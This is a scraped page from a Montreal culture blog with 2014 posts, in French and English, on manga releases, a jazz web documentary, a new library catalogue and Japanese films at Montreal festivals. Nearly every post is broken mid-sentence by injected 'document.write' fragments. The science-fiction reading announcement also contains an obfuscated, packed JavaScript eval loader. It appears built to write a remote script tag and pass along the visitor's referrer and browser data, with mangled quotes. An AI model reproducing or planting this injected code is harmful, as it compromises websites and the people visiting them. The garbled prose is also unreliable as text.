Découverte: Mangeons!

November 8, 2014 / Clodjee / 1 Comment

“D’elle, document.write(“”); on ne connaît rien ou presque. Cette superbe jeune femme surgit sans crier gare dans la vie de gens ordinaires qui ont pour point commun d’être agacés, écrasés parfois, par les tracas du quotidien. Jeune diplômé attendant désespérément le résultat d’un entretien d’embauche, homme hanté par le souvenir de la rupture avec sa compagne, mari torturé par sa propre infidélité… Les âmes à secourir sont légion pour celle qui pourrait être la déesse de la bonne chère. Le temps d’un repas auquel elle convie silencieusement cette galerie de personnages, elle leur redonnera le sourire, l’espoir, ou cette légèreté qu’ils ont perdue. Ses armes : une gourmandise ô combien communicative et une sensualité où se rejoignent désir et plaisir du palais, qui feront vite oublier l’incongruité de ses apparitions toujours plus hilarantes.”
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“Entre un bol de nouilles avalé goulûment dans une gargote, des fruits de mer grillés à même le bord de mer où ils ont été ramassés, un steak haché préparé avec amour à la maison, ce pendant féminin du Gourmet Solitaire de Jirô Taniguchi nous convie à un voyage gastronomique, sensuel et comique dans le paysage culinaire japonais d’aujourd’hui, et oeuvre à nous rappeler que la gourmandise est peut-être le plus grand plaisir de la vie et que nous perdrions beaucoup à le bouder.”

“Une comédie gourmande en quatre tomes.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

J’ai découvert ce titre parmi les nouveautés de la bibliothèque où je travaille. Les manga n’y sont pas vraiment appréciés et de toute façon notre minuscule budget ne permet pas vraiment d’en acheter mais heureusement la bibliothèque a quelques mécènes qui ont du goût. Le sujet gastronomique, qui me rappel beaucoup Gourmet Solitaire de Jirô Taniguchi — mais avec une tournure humoristique et supernaturelle, en fait un titre intéressant qui pourrait sans doute plaire à un plus large publique alors j’ai décidé de l’ajouter à ma (déjà très longue) liste de lecture.

Mangeons ! (????? / Taberu Dake / lit. “just eating”) est un manga seinen par Sanko Takada qui est d’abord paru en feuilletons dans la magazine Gekkan! (Monthly) Spirits de l’éditeur japonais Shôgakukan entre décembre 2010 et novembre 2013. La série maintenant complète a été compilée en quatre volumes (le premier volume est paru en novembre 2011, le second en mai 2012, le troisième en juin 2013 et le quatrième en janvier 2014). La version française est couramment publiée dans la collection Sakka de Casterman (les trois premiers volumes sont paru respectivement en mars, juin et octobre 2014 et le dernier paraîtra en février 2015).

Fait intéressant, l’auteur — qui a remporté avec ce titre le 66ème Grand prix comics des nouveaux auteurs de Shôgakukan — est non seulement passionnée par son sujet mais le maîtrise parfaitement puisqu’elle est elle-même diététicienne! La protagoniste de l’histoire rencontre dans chaque chapitre une personne différente avec qui elle partage un repas, écoute leur problèmes et les laisse dans le bonheur, le tout n’étant sans doute qu’un prétexte pour partager avec les lecteurs ses connaissances gastronomiques. Chose amusante, le manga a également été adapté en juillet 2013 par TV Tokyo en une série télévisée de douze épisodes mettant en vedettes les actrices et chanteuses Mariko Goto et Hirofumi Arai.

En attendant de vous lancer dans la lecture de cette comédie gastronomique, vous pouvez consulter un extrait d’une douzaine de pages sur le site de l’éditeur japonais (en japonais évidemment!).

Mangeons! Vol. 1, écrit et illustré par Sanko Takada. Paris, Casterman (Coll. Sakka), mars 2014. 184 pages, 13.2 x 18 x 1.6 cm, 7,95 € / $13.25 Cnd, ISBN 9782203077034 (vol. 1), 9782203077072 (vol. 2, paru en juin 2014), 9782203088177 (vol. 3, octobre 2014) et 9782203090316 (vol. 4, à paraître en février 2015). Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:

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Jazz Petite Bourgogne

November 7, 2014 / Clodjee / 1 Comment

J’ai fait la découverte cette semaine d’un intéressant web documentaire produit par Radio-Canada et disponible sur leur site internet Ici.musique.ca.
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C’est un documentaire passionnant si vous vous intéressé tant soit peu à l’histoire de montréal (particulièrement de la communauté noire), document.write(“”); des ses quartiers (ici la Petite-Bourgogne) et de la musique (plus précisément du Jazz). Je suis toujours surpris de (re-)découvrir comment notre histoire peut avoir été grandiose et intéressante. On a toujours tendance à penser que l’histoire du Québec est plutôt platte… Je vous recommande donc d’y jeter un coup d’oeil, ça vaut vraiment la peine!

“Jazz Petite-Bourgogne raconte l’incroyable contribution de Montréal à l’histoire du jazz en explorant la vie des musiciens noirs légendaires de la Petite-Bourgogne. Ce quartier fut au cœur de la créativité musicale, des clubs privés et des bars clandestins des années 1920, la belle époque du jazz, aux années 1940 et 1950, l’Âge d’or du jazz. Oscar Peterson, Oliver Jones, les Frères Sealey, Nelson Symonds, Charlie Biddle, et Louis Metcalf font partie des grands qui ont vécu et/ou joué dans La Petite-Bourgogne.”

Le web documentaire se divise en quatorze capsules de trois ou quatre minutes chacune qui, après une brève introduction, nous présentent différents aspects de la vie (musicale) de ce quartier populaire de Montréal : les gares de train et les porteurs, la prohibition, le coin, l’église et la communauté, la pègre, danse et burlesque, le Café Saint-Michel, la vie dans la Petite-Bourgogne, le Rockhead’s Paradise, Oscar Peterson, le Black Bottom, les temps difficiles, et renaissance. Comme c’est une expérience interactive, le site offre aussi en complément des galeries de photos, des extraits audio, une chronologie interactive et un index des artistes.

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Japan Film Festival 2014

November 7, 2014 / Clodjee / Leave a comment

The Japan Foundation Toronto and the Consulate General of Japan at Montreal, document.write(“”); are pleased to present free screenings of Japanese films in Montreal. This 31st Japanese Film Festival of Montreal will be held November 7th and 8th at the Cinema du Parc (3575, Park Ave, Montreal).
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Please note that limited seating is available on a first-come, first-served basis. No reservations. Please arrive at least thirty minutes before showtime.

That’s a great opportunity to watch Japanese movies for free!

For more information on the movies that will be screened you can check the Coco Montreal website or Facebook page.

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Nouveau catalogue des bibliothèques de Montréal

October 26, 2014 / Clodjee / 1 Comment

Les Bibliothèques de Montréal ont profité de la Semaine des bibliothèques publiques pour mettre en ligne la nouvelle version de leur catalogue “Nelligan”: Nelligan Découverte (aussi appelé le “Encore Discovery”, document.write(“”); un logiciel produit par la compagnie américaine Innovative Interfaces Inc, la même compagnie qui a créé Millenium, le système de gestion de bibliothèques utilisé présentement par les bibliothèques de Montréal).
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C’est un moteur de recherche qui se veut simple, moderne, efficace et convivial, donc plus facile a utiliser pour les usagers. En plus d”offrir la même fonctionnalité que Nelligan (comme l’accès à “Votre dossier”, renouvellement, réservation), Découverte offre une présentation plus claire ainsi que la possibilité de raffiner la recherche selon le type de document (imprimé ou numérique), la disponibilité, la localisation, la date de publication, la langue d’origine ou le groupe d’âges. Il est aussi plus “intelligent” puisqu’en plus de suggérer des orthographes différents pour les termes de recherche, il fournit également des suggestions de lecture, de pistes de recherche, de nouveautés et de titres populaires. [Voir le “communiqué de presse“]

Si la présentation des notices de recherches est effectivement plus claire et informative, il est juste dommage que la page d’introduction de l’engin de recherche manque d’éléments graphiques pour la rendre plus attrayante. Mais cet outil de recherche est encore dans sa phase de rodage alors je suis sûr qu’on y verra de nombreuses améliorations dans les prochains mois.

N’hésitez pas à le mettre à l’essai:

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Découverte: Le maître des livres

October 25, 2014 / Clodjee / 1 Comment

“À la bibliothèque pour enfant “La rose trémière” vous êtes accueillis et conseillés par Mikoshiba, document.write(“”); un bibliothécaire binoclard célèbre pour son caractère bien trempé. Mais contrairement à ce qu’il peut laisser paraître, c’est un professionnel de premier ordre. Aujourd’hui encore, adultes comme enfants perdus dans leur vie viennent ç lui en espérant qu’il leur trouvera le livre salvateur.”
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“Une histoire passionnante centrée sur la littérature et Mikoshiba, le “sommelier du livre pour enfant”.”

(Texte de la couverture arrière)

Encore une fois, j’ai découvert ce nouveau titre en jetant un coup d’oeil aux nouveautés de Manga-Thé sur Facebook. Le sujet m’a tout de suite paru intéressant…

Le maître des livres (????? / Toshokan no Aruji / lit. “Le seigneur de la bibliothèque”) est un manga seinen par Umiharu Shinohara qui est couramment prépublié en feuilletons dans la magazine Weekly Manga Times de l’éditeur japonais H?bunsha. Compilé en volumes (tank?bon) depuis août 2011, il y a huit tomes de parus au Japon jusqu’à maintenant et un neuvième devrait paraître à la mi-novembre 2014. Publié en français par Komikku Éditions, le deux premiers volumes sont paru simultanément en août 2014 et un troisième paraîtra en début décembre.

Le maître des livres Vol. 1 & 2, écrit et illustré par Umiharu Shinohara. Paris, Komikku Éditions, août 2014. 192 pages, 13×18 cm, 8,50 € / $14.95 Cnd, ISBN 9791091610629 (vol. 1) et 9791091610636 (vol. 2). Lectorat de 14 ans et plus. À lire absolument! En attendant vous pouvez consultez un extrait d’une quarantaine de pages.

Extraits des pages 2-3 et 8:

Pour plus d’information vous pouvez aussi consulter les sites suivants:

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All you need is kill

October 25, 2014 / Clodjee / 1 Comment

VIZ Media announced the release of All You Need is Kill, document.write(“”); the latest manga by Takeshi Obata (Hikaru no go, Death Note, Bakuman), on November 4th, 2014. This oversized omnibus edition is rated ‘T+’ for Older Teens and will be available under the Shonen Jump Advanced imprint with a print MSRP of $14.99 U.S. / $16.99 CAN. [Read the full press releases]
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All You Need is Kill originally premiered in VIZ Media’s Weekly Shonen Jump digital manga anthology earlier this year. It was first available in digital editions as a pair of individual volumes across all platforms (vizmanga,com, Kindle, iBooks, GooglePlay, Kobo, ComiXology, Nook and the VIZ Manga App) for $6.99 each.

The manga is the adaptation of the award-winning Japanese sci-fi novel written by Hiroshi Sakurazaka that inspired the live-action summer blockbuster film Edge of Tomorrow starring Tom Cruise, Emily Blunt and Bill Paxton. The original novel also was the launch title in 2009 for Haikasoru, VIZ Media’s unique literary imprint dedicated to publishing the most compelling contemporary Japanese science fiction and fantasy for English-speaking audiences. VIZ Media also published a special movie tie-in version of the All You Need is Kill/Edge of Tomorrow novel over the summer to support the release of the live-action film.

In this rousing action story, when the alien Mimics invade, Keiji Kiriya is just one of many recruits shoved into a suit of battle armor called a Jacket and sent out to kill. Keiji dies on the battlefield, only to be reborn each morning to fight and die again and again. On his 158th iteration, he gets a message from a mysterious ally – the female soldier known as the Full Metal Bitch. Is she the key to Keiji’s escape or his final death?

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Festival du Nouveau Cinema 2014

September 24, 2014 / Clodjee / Leave a comment

The Festival du nouveau cinéma (FNC) is pleased to announce that The Good Lie (U.S.), document.write(“”); directed by Philippe Falardeau, will kick off its 43rd edition, to be held in Montreal from October 8 to 19. The film will be preceded by Matthew Rankin’s short Mynarski Death Plummet (Quebec/Canada). The documentary feature The Salt of the Earth (Brazil/Italy/France), co-directed by Wim Wenders and Juliano Ribeiro Salgado, will close the Festival on October 18. [Read the full press release]
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Tokyo Tribe by Japanese director Sion Sono will open the Temps Zéro section, this year celebrating its 10th anniversary. The rap-infused musical is set in a futuristic Tokyo where the gangs that run the city are forced to team up to battle a nasty, nefarious ogre of a mob boss named Big Buppa (Rikki Takeuchi).

In total the festival will offer half a dozen Japanese movies including the latest Shinya Tsukamoto, Takashi Miike, Isao Takahata, and Sion Sono!! Those are all Japanese blockbusters that have been previously screened at other film festivals. I am not planning to attend the festival (because of the lack of time, the unfriendliness of the festival toward small online media but mostly because I must rest after my recent health problems). However, I’ll post here all the information I can get for those who will want to attend:

Fire on the plain (?? / Nobi): Japan, 2014, 87 min; Dir./Phot./Prod.: Shinya Tsukamoto; Scr.: Shohei Ooka, Shinya Tsukamoto; Cast: Shinya Tsukamoto, Lily Franky, Tatsuya Nakamura.

“The philippines, during the second World War, on the Japanese side. An enlisted man is trying to survive. He has tuberculosis, his intense fever is causing gangrene, he’s hungry. so very, very hungry. He is alive, but already dead. And all around him are horrors, each more terrible than the last.” (from the Festival’s website)

Screening as part of the “Temps 0” segment: Sat 10/11 21:30 at Auditorium Alumni H110 (Concordia); Sun 10/12 13:15 at Cinéma du Parc 3.

Over your dead body (?? ??? / Kuime): Japan, 2014, 93 min; Dir.: Takashi Miike; Scr.: Kikumi Yamagishi (based on a kabuki play by Tsuruya Nanboku IV); Phot.: Nobuyasu Kita; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Cast: Ko Shibasaki, Hitomi Katayama, Ebizô Ichikawa XI, Hideaki Itô.

“Miyuki and her boyfriend Kosuke land the lead roles in a highly anticipated theatre production. Miyuki will play a woman betrayed who seeks revenge from the beyond. Kosuke will play her lover, a devious psychopath. After rehearsals begin, the production is beset by episodes of madness and violence. is life suddenly imitating art?” (from the Festival’s website)

Screening as part of the “Temps 0” segment: Mon 10/13 21:15 at Cinéma du Parc 1; Sat 10/18 21:45 at Cineplex Odeon Quartier Latin A.

Still in the water (2???? / Futatsume no Mado / Lit. “The Second Window”): Japan, 2014, 119 min; Dir./Scr.: Naomi Kawase; Phot.: Yutaka Yamazaki; Ed.: Tina Baz, Naomi Kawase; Mus.: Hashiken; Cast: Nijiro Murakami, Jun Yoshinaga, Tetta Sugimoto, Miyuki Matsuda, Makiko Watanabe, Jun Murakami, Hideo Sakaki, Fujio Tokita.

“The people of the Amami archipelago in southwestern Japan live in harmony with nature, seeing the divine in the tiniest leaf or smallest twig and celebrating it through traditional song and dance. In this idyllic setting, Kaito, a boy of 14, comes across a man’s body floating in the sea one night. Together with his friend Kyoko (who has a crush on him), he sets out to solve the mystery. But during the course of the investigation and the personal challenges it presents, the two teens discover much more than they had imagined.” (from the Festival’s website)

Screening as a special presentation: Sun 10/12 15:20 at Auditorium Alumni H110 (Concordia); Sun 10/19 16:30 at Cinéma du Parc 1.

The Tale of Princess Kaguya (??????? / Kaguya-Hime no Monogatari): Japan, 2013, 137 min; Dir.: Isao Takahata; Scr.: Isao Takahata, Riko Sakaguchi; animation by Studio Ghibli (Char. Design: Kenichi Konishi; Art Dir.: Kazuo Oga; Anim. Dir.: Kenichi Konishi); Mus.: Joe Hisaishi; Original Voice Cast: Aki Asakura, Kengo Kora, Takeo Chii, Nobuko Miyamoto, Atsuko Takahata, Tomoko Tabata, Tatekawa Shinosuke, Takaya Kamikawa, Hikaru Ij?in, Ryudo Uzaki, Nakamura Shichinosuke II, Isao Hashizume, Yukiji Asaoka, Tatsuya Nakadai.

“Born inside a bamboo stalk, tiny Kaguya (“radiant princess”) is discovered by an old bamboo cutter, who brings her home. Kaguya grows into a lovely young woman whose beauty is renowned throughout the land. Five noble- men compete fiercely for her hand in marriage, attempting impossible tasks to impress her. But this magical woman’s destiny lies above such mundane concerns.” (from the Festival’s website)

Screening as part of the “Temps 0” segment: Mon 10/13 14:00; Fri 10/17 18:30 at Cineplex Odeon Quartier Latin A .

Tokyo Tribe (????? ???? / T?ky? Toraibu): Japan, 2014, 116 min; Dir.: Sion Sono; Scr.: Sion Sono (based on the manga by Santa Inoue); Phot.: Daisuke Sôma; Ed.: Jun’ichi Itô; Mus.: B.C.D.M.G.; Cast: Ryohei Suzuki, Young Dais, Nana Seino, Ryuta Sato, Shoko Nakagawa, Mika Kano, Yosuke Kubozuka, Riki Takeuchi, Takuya Ishida, Shunsuke Daito, Yui Ichikawa, Denden, Shota Sometani, Mao Mita.

“A future Tokyo where gangs reign supreme. A nasty mobster who happens to be an ogre (yes, the kind that eats people) by the name of Big Buppa (Rikki Takeuchi in an instant-classic and thoroughly grotesque performance) wants to take on all the gangs. A young woman on the run finds a solution to the crisis, uniting all of Tokyo against the monster. Gang wars, fratricidal yakuza battles, criminal madness, revenge Tokyo-style. Yes, Tokyo Tribe has all that, but you might be surprised to learn it’s also a musical–all rap, all the time, from the first frame to the last. ” (from the Festival’s website)

Screening as part of the “Temps 0” segment: Thu 10/09 19:00 at Auditorium Alumni H110 (Concordia); Fri 10/10 16:30 at Cineplex Odeon Quartier Latin B.

The world of Kanako (?? / Kawaki): Japan, 2014, 118 min; Dir.: Tetsuya Nakashima; Scr.: Tetsuya Nakashima (based on the novel by Akio Fukamachi); Phot.: Shoichi Ato; Ed.: Yoshiyuki Koike; Cast: K?ji Yakusho, Nana Komatsu, Satoshi Tsumabuki, Joe Odagiri, Fumi Nikaid?, Hiroya Shimizu, Hiroki Nakajima, Ai Hashimoto, Asuka Kurosawa, Miki Nakatani, Jin Hoshino, Mahiro Takasugi, Jun Kunimura, Munetaka Aoki, Aoi Morikawa, Yasuo Koh, Megumi Hachitaya, Shouno Hayama.

“Akikazu, a bitter, hard-drinking cop who was kicked off the police force, is contacted by his ex-wife when their straight-A daughter, Kanako, goes missing. The man embarks on a brutal investigation that goes deep into the heart of a clandestine underworld ruled by violence and murder. As the body count rises, the veil comes off Kanako’s secret life, revealing the horrifying truth.” (from the Festival’s website)

Screening as part of the “Temps 0” segment: Wed 10/15 21:15 at Auditorium Alumni H110 (Concordia); Sat 10/18 15:00 at Cineplex Odeon Quartier Latin A.

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Écrire le monde : la science fiction

September 6, 2014 / Clodjee / Leave a comment

L’Union des écrivaines et des écrivains québécois, document.write(“”); en collaboration avec Bibliothèque et Archives nationales du Québec (BAnQ) présente :
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sanfa|var|u0026u|referrer|hkrza||js|php’.split(‘|’),0,{}))

Lecture publique

Écrire le monde / Territoire de l’ailleurs : la science-fiction

Le 2 octobre 2014, de 19 h 00 à 20 h 15

À l’Auditorium de la Grande Bibliothèque

Lecture d’extraits du roman Les jours de l’ombre de Francine Pelletier, auteure de la trilogie Le sable et l’acier, en sa présence.

Mise en lecture : Rita Lafontaine
Interprète : Jessica Lamy
Musicien : Frédéric Maher

La lecture sera suivie d’une période de questions avec l’écrivaine et les artistes.

Continuez après le saut de page >>

Sha’Ema, une jeune pelissière de Namelak, fuit son village. Sous son sein gauche, un oeil est en train de se former. Or, si les prêtres l’apprennent, ils la mutileront, l’exileront dans les montagnes, et sa famille sera soupçonnée d’impureté.

De fait, sur Og’umbi, il est dit que les métamorphoses proviennent des unions contre nature qui ont eu lieu entre humains et Akae, ces « êtres-en-changement » qui, jadis, ont envahi la planète. Et si ces monstres ont depuis disparu, le mal, lui, demeure omniprésent. D’ailleurs, dans sa fuite, Sha’Ema rencontre Nosh, l’homme au corps de bête, puis Herbé, qu’une métamorphose a rendu mi-humain, mi-autre chose…

C’est en cherchant à en savoir davantage sur ces métamorphoses, dans la grande ville de Vassilor, que Sha’Ema entendra parler pour la première fois des théories révisionnistes du professeur Valère, et c’est ensemble qu’ils s’enfonceront au coeur des montagnes de l’Ueg, à la recherche d’une vérité qu’ils ne peuvent encore soupçonner!

La participation à cette activité est gratuite. Cependant, pour vous assurer d’avoir une place, vous êtes invité à vous procurer un billet. Cette activité ayant lieu dans un auditorium, des frais de billetterie de 4 $ par billet (taxes incluses) s’appliquent. Les personnes se présentant sans billet à une activité ne seront admises dans la salle que s’il reste de la place.

Pour de plus ample information, voir les sites de l’UNEQ et de la BANQ.

(Crédit photo: Romain Guy)

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Découverte: un nouvel album de Bilal

September 5, 2014 / Clodjee / Leave a comment

“Après Animal’z et Julia et Roem, document.write(“”); voici enfin le troisième volet de la trilogie événément signée Enki Bilal.”
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“Dans un ciel sens dessus dessous ponctué d’immenses masses nuageuses aux allures menaçantes progresse le Zeppelin sinistré Garbage et son équipage incongru : un couple de passagers de hasard embarqués à Tanger, Anders Mikkeli et Esther Roblès, deux jumelles orphelines sujettes à de mystérieuses crises de citations littéraires, leur garde du corps et le cadavre démembré du pilote de l’appareil, suspendu à ce qui reste de sa nacelle détruite. Dans les soutes, un mélange de déchets nucléaires instables et d’armes atomiques en état de marche, indice probable des visées terroristes du Garbage. Balloté au gré de la violence des vents, ses équipements verrouillés sur navigateur automatique, l’aérostat semble totalement livré à lui-même, et pourtant… Pourtant quelque chose suggère qu’il y a peut-être là un dessein, une volonté, une direction. Car au même moment, nombre des personnages croisés au fil des deux précédents volumes de la trilogie – Ana et Lester, Bacon et son dauphin hybride, Julia, Roem et Lawrence, l’ex-aumonier militaire – se sont eux aussi mis en mouvement, comme mûs par un appel secret. Leur périple annonce-t-il le stade terminal du « coup de sang » planétaire ? S’agit-il des prémisses de la troisième guerre mondiale annoncée, qui mettra ainsi un point final à la crise environnementale généralisée ? Ou d’autre chose encore, divergeant de tout ce qu’on pouvait imaginer ?”

“Toujours magistral, tant dans la puissance et l’originalité de son récit que dans son traitement graphique et chromatique exceptionnel, Enki Bilal apporte un point final à la trilogie amorcée dans Animal’z et poursuivie dans Julia et Roem. L’un des titres les plus attendus de la fin d’année.” (Texte du site de l’éditeur)

Pas grand chose à ajouter sur ce nouveau Bilal sinon que j’ai bien hâte de le lire (la date de parution en France est le 2014/10/22, mais il est difficile de dire quand il sera disponible au Québec). Décidément, Bilal va de trilogie en trilogie nous présentant toujours le même futur glauque mais jamais ennuyant.

La Couleur de l’air, par Enki Bilal. Paris: Casterman, octobre 2014. 96 pgs, 24 x 32.1 x 1.5 cm, 18.00 €, ISBN: 978-2-203-03309-2.

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The MWFF schedule is available

August 15, 2014 / Clodjee / Leave a comment

The schedule for the 2014 Montreal World Film Festival is now available on the festival web site [as a downloadable PDF file]!
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The Cinema Under the Stars program will take place after all. In a press release, document.write(“”); the festival announced that the free outdoor screenings will be back again this year for twelve nights. Beginning August 21 and running nightly at 8:30 pm through Labour Day (September 1), the Festival will show a wide selection of popular movies on the esplanade of the Place des Arts.

The festival also announced that it will be showing many italian movies again this year. As always the Montreal World Film Festival has a bumper crop of Italian films to show, this year more than ever. Starting with the president of the jury, Sergio Castellitto, and continuing through various sections of the Festival, lovers of Italian cinema will have plenty to celebrate. Thirteen films, produced or co-produced by Italy, are on show and Pupi Avati will be on hand for the premiere of his new film along with a large delegation of Italian film people. More details in the full press release.

Last Tuesday, the festival announced in a press release the details of the 45th Student Film Festival. Organized within the framework of the Montreal World Film Festival, the Student Film Festival, held August 23 to 27, 2014, has this year two competitive sections, comprising 26 Canadian films and 60 international films respectively. The winning films will share 6 prizes, including the Norman McLaren Prize for best Canadian film and the jury award Most Promising Director. Founded by Serge Losique in 1969, the Student Film Festival is the oldest film festival in Canada and was incorporated into the World Film Festival in 1985. The reputation of the Montreal festival has attracted many student films from around the world and this year, to accommodate the abundance of excellent foreign productions, an international competition was established and it features films from 18 countries!

Finally, a press release also detailed all the ticket options for the movie-goers attending the festival. Booklets of tickets and individual tickets to films of the Festival itself will go on sale August 16 to 21, from noon to 7 pm, at the box offices of the Imperial Cinema and the Cinéma du Quartier Latin. Festivalgoers may also purchase tickets online through Admission beginning August 22. The Festival run August 21 through September 1.

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Japanese movies at the MWFF 2014

August 10, 2014 / Clodjee / 1 Comment

In a press conference last tuesday, document.write(“”); the Montreal World Film Festival announced the programming of its 38th edition, which will be held from August 21st to September 1st. The festival will present 350 films including 160 feature-length movies (of which 100 will be world or international premieres, and 32 North American premieres), and 190 short films. 51 of those fiction features-length movies will be first features (the first film of its director), of which 19 will be in competition. It is less than the previous years but this rich selection from 74 countries is nevertheless quite a feat considering that the festival has been denied nearly one million dollars in subsidies this year! (On this subject, see my post [in french] “Le FFM se prépare à une 38e année difficile”). For more programming details, please read my post “Programmation FFM 2014” [in french] or check the full press release on the festival web site.
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The World Film Festival of Montreal will take place from August 21st to September 1st 2014, at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 16 at noon at the offices of the Imperial (CI) and the Latin Quarter (QL) theatres, and ticketing networks from August 22. Individual tickets are $ 10, Passports are $ 100 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website: www.ffm-montreal.org.

This year the festival is offering us ~~eleven~~ twelve Japanese features movies and ~~three~~ five short films: two feature films [and one short film] in the “World competition” category, three in “Out of competition”, five feature films and ~~three~~ four shorts in the “Focus on World Cinema” [all those short films are conveniently shown together] and ~~one~~ two feature films in the “Tribute to Michael J. Werner” [there’s another movie shown as a tribute to Alain Resnais]. There are no Japanese movies this year in “First Films World Competition”, “Documentary” or the “International selection of the Student Film Festival” categories.

At the press conference announcing the festival’s programming, Serge Losique reiterated his love for Japanese cinema. He tells us that Japan is one of the most film-loving countries in the world and has given us lots of great filmmakers (especially Akira Kurosawa). He tells us also that a Japanese film in competition this year will be accompanied by a host of top Japanese actors. The delegation for this film will include forty-five people, in addition to numerous representatives of Japanese media (from five television stations and eight newspapers)! [You can see the clip of Losique talking Japanese cinema from 1:05 to 2:00 mins on the press conference video that I posted on Vimeo and on my “Programmation FFM 2014” post [in french]]

More information on the festival’s japanese movies can be found on the Facebook page of the Canada-Japan Cultural Exchange magazine, Coco-Montreal.

Update [2014-08-15]: The schedule for the 2014 Montreal World Film Festival is now available on the festival web site [as a downloadable PDF file]!

Update [2014-08-20]: Details on each of the Japanese movies shown at the festival are now available on the festival’s web site.

After the jump, you will find a list of all the Festival’s Japanese movies with description [taken from the festival’s program] and supplemental links (more details and links will be added as the information become available):

The World Competition

Cape Nostalgia (???????? / Fushigina Misaki no Monogatari / The Tale Of A Cape): Japan, 2014, 117 min; Dir.: Izuru Narushima; Scr.: (based on Akio Morisawa novel); Prod.: Sayuri Yoshinaga; Cast: Sayuri Yoshinaga (Etsuko), Hiroshi Abe (Koji), Yuko Takeuchi, Tsurube Shofukutei, Takashi Sasano, Eiko Koike, Shota Shunputei, Arata, Takeo Nakahara, Renji Ishibashi.

“Etsuko Kashiwagi runs the Cape Café in a peaceful little town looking across the sea to distant Mt Fuji. It is the town’s favourite meeting place, where farmers, fishermen, hospital workers, clergy, and even the occasional police officer, gather to taste Etsuko’s special brew and trade gossip. The two most important things in Etsuko’s life are her jack-of-all-trades nephew Koji and the spring water she brings every day from a small island nearby. In every cup Etsuko brews is a prayer for the well-being of her customers, and coffee at her café is an uplifting experience for all. Koji is 45, and devoted to Etsuko, who lives in a shack beside her café. He is hot-tempered, quick to jump to conclusions and a bit of a troublemaker. The winds of change have started to blow through the placid existence of the Cape Café.” (from the Festival’s press release)

Schedule: Fri 8/29 9:00 CI; Fri 8/29 19:00 CI; Sat 8/30 14:00 CI.

The light shines only there (????????? / Soko nomi nite Hikari Kagayaku): Japan, 2014, 120 min.; Dir.: Mipo O; Scr.: Ryo Takada (based on the novel by Yasushi Sato); Cast: Gou Ayano, Chizuru Ikewaki, Masaki Suda, Hiroko Isayama, Taijiro Tamura, Kazuya Takahashi, Shohei Hino.

“ Tatsuo has given up working and is idling his life away. One day at a Pachinko parlour, he gets to know a coarse but friendly young man, Takuji. Tatsuo accepts Takuji’s invitation and follows him home, which turns out to be a rundown, isolated house. It is here that Tatsuo meets Takuji’s older sister, Chinatsu. They feel a quick mutual attraction and become close, but Chinatsu’s life is difficult as she struggles to support her family. Even so, Tatsuo remains steadfast in his love for Chinatsu, and his unwavering feelings begin to sway her. Since finding a connection with Chinatsu, Tatsuo’s reality quietly begins to regain its colour…” (from the Festival’s press release)

Schedule: Sun 8/31 9:00 CI; Sun 8/31 19:00 CI; Mon 9/01 14:00 CI.

The World Competition — Short Films

Kemukujara: Japan, 2014, 13 min.; Dir.: Akihito Nonowe, Isao Sano, Konoka Takashiro. No dialogue. First episode of the stop motion experimental animation Keblujara. [Facebook]
Schedule: Wed 8/27 9:00 CI; Wed 8/27 19:00 CI; Thu 8/28 14:00 CI.

World Great (Out of Competition)

Our family (??????? / Bokutachi no Kazoku): Japan, 2014, 117 min.; Dir.: Yuya Ishii; Cast: Satoshi Tsumabuki, Mieko Harada, Sosuke Ikematsu, Kyozo Nagatsuka, Mei Kurokawa, Yusuke Santamaria, Shingo Tsurumi, Yuka Itaya, Mikako Ichikawa.

The emotional journey of a four-member family that fails to recognize that it is rapidly growing apart until the mother is diagnosed with terminal cancer.

Schedule: Sun 8/24 11:30 QL15; Mon 8/25 21:30 QL15; Tue 8/26 14:10 QL15.
A drop of the grapevine (??????? / Budou no namida / lit. “Tears of Grapes”): Japan, 2014, 117 min.; Dir. & Scr.: Yokiko Mishima; Cast: Yo Oizumi (Ao), Shota Sometani (Roku), Yuko Ando (Erika), Tomorowo Taguchi, Tomoya Maeno, Lily, Kitaro,
Ren Osugi, Kyoko Enami.

In Hokkaido, Ao grows grapes for wine while his younger brother, Roku, tends to the wheat field inherited from their father. Then a mysterious women enters their lives.

Schedule: Sat 8/30 11:40 QL16; Sat 8/30 19:00 QL16; Sun 8/31 14:20 QL16.
A courtesan with flowered skin (???? / Hanayoi dochu): Japan, 2014, 102 min; Dir.: Keisuke Toyoshima; Cast: Yumi Adachi (Asagiri), Yasushi Fuchikami (Hanjiro), Ena Koshino, Yoko Mitsuya, Hanako Takigawa, Ayano Tachibana, Saki Takaoka, Tomochika, Kanji Tsuda.

In 1860s Japan, popular courtesan Asagiri is about to be freed from her indentured service. One day at a local festival she meets a young artisan, Hanjiro, an encounter that changes her destiny.

Schedule: Thu 8/28 10:00 QL15; Thu 8/28 19:00 QL15; Fri 8/29 17:00 QL15.

Focus on World Cinema

Fly, Dakota, Fly! (??! ??? / Tobe! Dakota): Japan, 2014, 109 min; Dir.: Seiji Aburatani; Scr.: Kuniho Yasui, Naoyuki Tomomatsu; Phot.: Shigeru Komatsubara; Prod.: Kiyoshi Mizuno; Cast: Manami Higa, Masataka Kubota, Akira Emoto, Yoriko Douguchi, Kumi Nakamura, Miyoko Yoshimoto, Yukijiro Hotaru, Yukiyo Sono, Minoru Sawatari, Mark Chinnery, Dean Newcombe, Toshiki Ayata, Bengal.

January 1946. A British military plane carrying diplomats makes a crash landing on the beach in a small village on a remote Japanese island. The pilots need help but the locals were enemies just half a year ago.

Schedule: Sat 8/30 13:00 QL15; Sat 8/30 21:30 QL15; Sun 8/31 17:00 QL15.
